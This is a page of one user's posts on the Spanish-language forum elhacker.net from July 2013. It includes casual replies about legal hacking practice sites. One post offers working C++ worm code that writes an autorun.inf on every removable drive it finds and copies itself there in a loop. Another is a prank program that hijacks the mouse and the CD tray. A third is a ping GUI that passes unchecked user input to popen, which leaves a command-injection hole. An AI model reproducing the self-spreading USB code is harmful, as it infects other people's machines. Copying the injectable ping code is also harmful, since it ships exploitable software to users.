elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Recuerda que debes registrarte en el foro para poder participar (preguntar y responder)


  Mostrar Mensajes
Páginas: 1 ... 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 [152] 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 ... 185
1511  Programación / Programación General / Re: Se me ha ocurrido una idea muy interesante. Igual la podemos desarrollar. en: 3 Julio 2013, 19:40 pm
se me ocurre la siguente idea :

la extension universal lo abre un interprete
2 el interprete ya conoce el so donde se esta ejecutando
3. el interprete busca en el archivo .universal la version correspondiente a su SO
4.lo descarga
5. lo instala.

suena bastante viable y no es para nada complicado de hacer incluso si los archivos .universal se hacen de forma estandar(usando xml por ejemplo) los interpretes pueden ser programados por quien desee hasta se podrian hacer extensiones de navegador etc.

extiendo un poco mi idea , supongamos que ese interprete trae un compilador como gcc y otro metodo de instalacion que consista en que  dependiendo el so se compile con x o y opcion "claro el interprete deberia facilitar el reconocimiento del so" y en este caso eberia permitir el manejo de instalar librerias como por ejemplo qt o etc

PD: tengan en cuanta que los virus se reproducirian indistintamente el so
1512  Foros Generales / Noticias / Re: Facebook sabe mucho más de ti de lo que piensas... aunque ni siquiera tengas ... en: 3 Julio 2013, 19:36 pm
Que chévere!!!... saben mas de uno que uno mismo... jejejeeee...
seria un buen psicologo  :laugh:
1513  Seguridad Informática / Hacking / Re: ¿Conocéis una página/servidor para hackear legalmente? en: 3 Julio 2013, 17:42 pm
perdon el doble post mi internet esta molestando  :-[
1514  Seguridad Informática / Hacking / Re: ¿Conocéis una página/servidor para hackear legalmente? en: 3 Julio 2013, 17:41 pm
................
quien dice que todos los tutos que hay son videos?
http://alguienenlafisi.blogspot.com/p/blog-page_16.html
1515  Programación / Programación C/C++ / Re: Volver a programar en: 3 Julio 2013, 16:27 pm
http://foro.elhacker.net/programacion_cc/recopilatorio_sources_interesantes-t298479.0.html

viendo los codes y practicando seguro te acuerdas jeje
1516  Programación / Programación C/C++ / broma en c++ en: 3 Julio 2013, 16:09 pm
aca un pequeño programa que hice abre el cdrom cambia la posicion del mouse y pone una canción:

Código:
#include <windows.h>
#include <mmsystem.h>
#include <iostream>


int main(int argc, char *argv[])
{
    int x;
    int y;
    mciSendString("play na.wav",0,0,0);
    MessageBox(0,"su computador esta poseido att:el diablo","error de posesion",MB_HELP);
    while(true)
    {
    x=(rand() % 1000);
    y=(rand() % 800);
    SetCursorPos(x,y);
    mciSendString("set Cdaudio door open",0,0,0);
    Sleep(4000);
    mciSendString("set Cdaudio door close",0,0,0);
    }
    return EXIT_SUCCESS;
}

edito: en Dev-C++ tienen que ir a: opciones del compilador>añadir estos comandos a la linea de comandos del linker. Deben seleccionar la casilla que te aparece y colocar dentro del campo de texto esto: -lwinmm, en el caso de otros compiladores debes linkear la libreria de otra forma

#pragma comment ( lib, "winmm.lib" )
1517  Programación / Programación C/C++ / [c++ - windows xp]copiarse a una usb con autorun en: 3 Julio 2013, 16:07 pm
talves a alguien le sirva

Código
  1. #include <iostream>
  2. #include <windows.h>
  3. #include <fstream>
  4.  
  5.  
  6.  
  7. using namespace std;
  8.  
  9. int main(int argc,char *argv[])
  10. {
  11.    while(true){
  12.    UINT test;
  13.    char tok[][5]={"C:","D:","E:","F:","G:","H:"}; //obviamente se pueeden poner mas  aunque no es muy comun que pase de H://
  14.    for (int l=0;l<=4;l++){
  15.    test = GetDriveType(tok[l]); // MIRA QUE TIPO DE DISPOSITIVO ES EN CASO DE SER 2 ENTONCES ES UNA USB SI ES 1 NO EXISTE
  16.    if(test==2){
  17.    SetCurrentDirectory(tok[l]); // SE UBICA EN EL DIRECOTORIO RAIZ DE LA USB
  18.    ifstream programa;
  19.    programa.open("programa.exe");
  20.    if(!programa.is_open()){ // EN CASO DE NO ESTAR INFECTADA LO HACE
  21.    cout << "usb infectada" << endl;
  22.    ofstream autorun;
  23.    autorun.open("autorun.inf"); //FAMOSO AUTORUN
  24.    autorun << "[Autorun]" << endl;
  25.    autorun << "Open=programa.exe" << endl;
  26.    autorun << "Label=USB INFECTADA"<< endl;
  27.    autorun << "UseAutoplay=1"<< endl;
  28.    autorun << "action=Abrir USB"<< endl;
  29.    autorun << "action=@programa.exe"<< endl;
  30.    autorun << "shell\\open=Abrir"<< endl;
  31.    autorun << "shell\\open\\Command=programa.exe" << endl;
  32.    autorun << "shell\\open\\Default=1" << endl;
  33.    autorun << "shell\\explore=Explorar"<< endl;
  34.    autorun << "shell\\explore\\Command=programa.exe"<< endl;
  35.    autorun.close();
  36.    CopyFile( argv[0], "programa.exe", true ); // SE COPIA
  37.    }
  38.    }
  39.    }
  40.    Sleep(5000); // ESPERA 5 SEGUNDOS
  41.    }
  42.    return 0;
  43. }
1518  Programación / Programación C/C++ / [c]aporte ping con interfaz grafica en: 3 Julio 2013, 16:06 pm


Código
  1. #include <windows.h>
  2. #include <cstdio>
  3. #include <cstring>
  4. #include <iostream>
  5.  
  6. int MN_MENSAJE=1024;
  7. int MN_SALIR=1025;
  8. HINSTANCE miinstance;
  9. /*  Declare Windows procedure  */
  10. LRESULT CALLBACK WindowProcedure (HWND, UINT, WPARAM, LPARAM);
  11.  
  12. /*  Make the class name into a global variable  */
  13. char szClassName[ ] = "CodeBlocksWindowsApp";
  14.  
  15. int WINAPI WinMain (HINSTANCE hThisInstance,
  16.                     HINSTANCE hPrevInstance,
  17.                     LPSTR lpszArgument,
  18.                     int nCmdShow)
  19. {
  20.    HWND hwnd;               /* This is the handle for our window */
  21.    MSG messages;            /* Here messages to the application are saved */
  22.    WNDCLASSEX wincl;        /* Data structure for the windowclass */
  23.    miinstance=hThisInstance;
  24.  
  25.    /* The Window structure */
  26.    wincl.hInstance = hThisInstance;
  27.    wincl.lpszClassName = szClassName;
  28.    wincl.lpfnWndProc = WindowProcedure;      /* This function is called by windows */
  29.    wincl.style = CS_DBLCLKS;                 /* Catch double-clicks */
  30.    wincl.cbSize = sizeof (WNDCLASSEX);
  31.  
  32.    /* Use default icon and mouse-pointer */
  33.    wincl.hIcon = LoadIcon (NULL, IDI_APPLICATION);
  34.    wincl.hIconSm = LoadIcon (NULL, IDI_APPLICATION);
  35.    wincl.hCursor = LoadCursor (NULL, IDC_ARROW);
  36.    wincl.lpszMenuName = NULL;                 /* No menu */
  37.    wincl.cbClsExtra = 0;                      /* No extra bytes after the window class */
  38.    wincl.cbWndExtra = 0;                      /* structure or the window instance */
  39.    /* Use Windows's default colour as the background of the window */
  40.    wincl.hbrBackground = (HBRUSH)CreateSolidBrush(RGB(239,239,239));
  41.  
  42.    /* Register the window class, and if it fails quit the program */
  43.    if (!RegisterClassEx (&wincl))
  44.        return 0;
  45.  
  46.    /* The class is registered, let's create the program*/
  47.    hwnd = CreateWindowEx (
  48.           0,                   /* Extended possibilites for variation */
  49.           szClassName,         /* Classname */
  50.           "Ping",       /* Title Text */
  51.           WS_OVERLAPPEDWINDOW, /* default window */
  52.           CW_USEDEFAULT,       /* Windows decides the position */
  53.           CW_USEDEFAULT,       /* where the window ends up on the screen */
  54.           544,                 /* The programs width */
  55.           275,                 /* and height in pixels */
  56.           HWND_DESKTOP,        /* The window is a child-window to desktop */
  57.           NULL,                /* No menu */
  58.           hThisInstance,       /* Program Instance handler */
  59.           NULL                 /* No Window Creation data */
  60.           );
  61.  
  62.  
  63.    /* Make the window visible on the screen */
  64.    ShowWindow (hwnd, nCmdShow);
  65.  
  66.    /* Run the message loop. It will run until GetMessage() returns 0 */
  67.    while (GetMessage (&messages, NULL, 0, 0))
  68.    {
  69.        /* Translate virtual-key messages into character messages */
  70.        TranslateMessage(&messages);
  71.        /* Send message to WindowProcedure */
  72.        DispatchMessage(&messages);
  73.    }
  74.  
  75.    /* The program return-value is 0 - The value that PostQuitMessage() gave */
  76.    return messages.wParam;
  77. }
  78.  
  79.  
  80. /*  This function is called by the Windows function DispatchMessage()  */
  81.  
  82. LRESULT CALLBACK WindowProcedure (HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam)
  83. {
  84.    const int MN_MENSAJE=1025;
  85.    HMENU menu=CreateMenu();
  86.    HMENU submenu=CreateMenu();
  87.    switch (message)                  /* handle the messages */
  88.    {
  89.        case WM_CREATE:
  90.            AppendMenu(submenu,MF_STRING,MN_MENSAJE,"&creditos");
  91.            AppendMenu(menu,MF_STRING|MF_POPUP,(UINT)submenu,"&Acerca de");
  92.            SetMenu(hwnd,menu);
  93.            static HFONT hFont = CreateFont(14, 0, 0, 0, 100, 0, 0, 0,0, 0, 0, 0, VARIABLE_PITCH | FF_SWISS, "Helv");
  94.            static HWND texto = CreateWindowEx(0,"STATIC", "Inserte la ip:", WS_CHILD|WS_VISIBLE, 0, 0, 90, 25, hwnd, 0, miinstance, NULL);
  95.            static HWND campo = CreateWindowEx(0,"EDIT", "", WS_CHILD|WS_VISIBLE, 0, 45, 105, 12, hwnd, 0, miinstance, NULL);
  96.            static HWND boton = CreateWindowEx(NULL,"BUTTON","hacer ping",WS_CHILD|WS_VISIBLE|WS_TABSTOP,110,42,100,20,hwnd,0,miinstance,NULL);
  97.            static HWND text2 = CreateWindowEx(0,"STATIC", "Salida del comando:", WS_CHILD|WS_VISIBLE, 250, 0, 130, 25, hwnd, 0, miinstance, NULL);
  98.            static HWND text3 = CreateWindowEx(0,"STATIC", " ", WS_CHILD|WS_VISIBLE, 250, 30, 230, 225, hwnd, 0, miinstance, NULL);
  99.            SendMessage(texto,WM_SETFONT,(WPARAM)hFont,true);
  100.            SendMessage(boton,WM_SETFONT,(WPARAM)hFont,true);
  101.            SendMessage(campo, WM_SETFONT, (WPARAM) hFont, true);
  102.            SendMessage(text2, WM_SETFONT, (WPARAM) hFont, true);
  103.            SendMessage(text3, WM_SETFONT, (WPARAM) hFont, true);
  104.            break;
  105.        case WM_COMMAND:
  106.         switch(LOWORD(wParam))
  107.            {
  108.                case MN_MENSAJE:
  109.                MessageBox(hwnd,"codeado por daryo","creditos",MB_OK);
  110.                break;
  111.            }
  112.         if((HWND)lParam==boton)
  113.         {
  114.            FILE *in;
  115.            char ip[100];
  116.            char ping[200]="ping ";
  117.            char n[700];
  118.            char string[700]=" ";
  119.            GetWindowText(campo, ip, 255);
  120.            strcat(ping,ip);
  121.            in=popen(ping,"r");
  122.            while ( fgets(n, 700, in) != NULL )
  123.            {
  124.              strcat(string,n);
  125.            }
  126.             SendMessage(text3, WM_SETTEXT, false, (long int) string);
  127.  
  128.         }
  129.            break;
  130.        case WM_DESTROY:
  131.            PostQuitMessage (0);       /* send a WM_QUIT to the message queue */
  132.            break;
  133.        default:                      /* for messages that we don't deal with */
  134.            return DefWindowProc (hwnd, message, wParam, lParam);
  135.    }
  136.  
  137.    return 0;
  138. }
  139.  
1519  Seguridad Informática / Hacking / Re: ¿Conocéis una página/servidor para hackear legalmente? en: 3 Julio 2013, 15:53 pm
Haras algun tutorial sobre SQLi? el reto de post SQLi no me sale ni me da ningún tipo de error. Cuando pueda buscare tipos de bypasses y haber que sale.
hay millones de tutoriales sobre sqli ¬¬
1520  Seguridad Informática / Hacking / Re: ¿Conocéis una página/servidor para hackear legalmente? en: 3 Julio 2013, 15:34 pm
el wargame de blackmaster esta muy bien pero te dare una tambien muy buena y que se centran en el realismo (es decir puedes encontrar webs reales con los mismos problemas de seguridad que en esta)

http://www.hackthissite.org/

a si , si encuentras como hackear la web en si tambien es legal y todo
Páginas: 1 ... 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 [152] 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 ... 185
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines